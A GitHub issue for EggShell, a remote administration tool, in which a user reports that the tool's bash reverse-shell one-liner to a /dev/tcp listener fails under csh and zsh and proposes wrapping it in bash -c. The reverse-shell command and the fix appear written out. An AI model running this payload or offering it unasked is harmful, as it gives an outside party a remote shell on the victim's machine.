lucasjacks0n / EggShell

iOS/macOS/Linux Remote Administration Tool
GNU General Public License v2.0
1.66k stars 382 forks source link

one-liner fails with zsh, csh #55

Closed bitcrushr closed 7 years ago

bitcrushr commented 7 years ago

csh

[PC:~] user% bash &> /dev/tcp/192.168.1.2/4444 0>&1
Ambiguous output redirect.
[PC:~] user% ^ no execution

zsh

user@PC[06:30:41] [~] 
-> % bash &> /dev/tcp/192.168.1.2/4444 0>&1
zsh: no such file or directory: /dev/tcp/192.168.1.2/4444
user@PC [06:30:44] [~] 
-> %  ^ no execution       

This is easily solved by wrapping the payload with

bash -c "<payload>"